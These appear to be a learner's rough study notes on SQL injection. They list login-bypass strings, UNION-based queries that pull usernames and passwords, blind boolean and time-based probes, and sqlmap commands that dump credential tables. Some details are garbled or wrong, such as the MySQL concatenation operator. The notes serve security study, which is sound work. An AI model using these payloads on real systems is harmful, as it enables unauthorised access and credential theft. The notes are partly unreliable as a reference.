

weak authentication

When you see that admin panel load after sending the Injection payload, how do you prove it was SQL Injection and not a weak auth?

SQL Injection

Select * From Users WHERE Username = 'alice';

Website stores data in database and use SQL to communicate with it. SQL Injection means tricking the database into doing something it shouldn't.

How login step works?

Enter credentials → Build SQL query → Send to database → Match found → no Match.

\$query = "SELECT * FROM USERS
WHERE Username = '\$username'
AND Password = '\$password'"

Gifts' - - or admin' - -

admin' + OR + 1 = 1 - - (or) 'admin' OR 1 = 1 - -

'OR 1 = 1 - -'

Where to look for Injection points ?

- * Login page username and password fields
- * Search bar product or user search
- * URL parameter ? id=5, ? user=admin
- * Sign up form Email, username field

<https://site.com/product?id=5>

just add the column and see, if there is any change happens in the page there must be a change of SQL Injection

→ page getting blank

SQL error message
Blank or broken page
Page load fine

Vulnerable
probably vuln
might be protected

Types of SQL Injection

In-Band	Error (or) data Shows on the page
Blind	No output - you guess from behaviour
Out-Of-Band	Data sent to attacker server.

Union - based SQL Injection.

- ' ORDER BY 1 - - (works)
- ' ORDER BY 2 - - (works)
- ' ORDER BY 3 - - (error = only 2 columns)

union lets you attach your own query to the original one. The result shows up on the page.

'UNION' SELECT NULL, NULL, NULL --

depends on number of columns.

String Concatenation

'UNION' SELECT NULL, "ABC" --

we use this to check whether we can display output using this or not. If error occurs, then we can't display.

So if not error occurs, then we can, so now the question is whether we can display all 2 columns. String in one, ∴ we use String Concatenation.

'UNION' SELECT NULL, username || password from users
'UNION' SELECT NULL, foo || bar from tablename

Oracle → 'foo' || 'bar'

Microsoft → 'foo' + 'bar'

PostgreSQL → 'foo' || 'bar'

MySQL → 'foo' & 'bar'

→ Space b/w two strings.

(or) concat('foo', 'bar')

Blind SQL Injection

Ask yes or no question:

? id = 1 AND 1 = 1 --

→ page loads fine (yes/true)

?id=1 AND 1=2 --
→ page breaks or blank (no/fault)

Or use timing:-

?id=1 ; IF (1=1, SLEEP(5), 0) --

Page takes 5 sec to load

Tracking 2d = xyz' AND (SELECT 'a' FROM USERS LIMIT 1) = 'a'
↳ condition true

Tracking 2d = xyz' AND (SELECT 'a' FROM USERS WHERE username = 'administrator') = 'a'

SQLMAP

Sqlmap -u "URL" Basic Scan.

Sqlmap -u "URL" --dbms list database

Sqlmap -u "URL" -D database-name --tables

Sqlmap -u "URL" -D database-name -T table-name

-C username,password --dump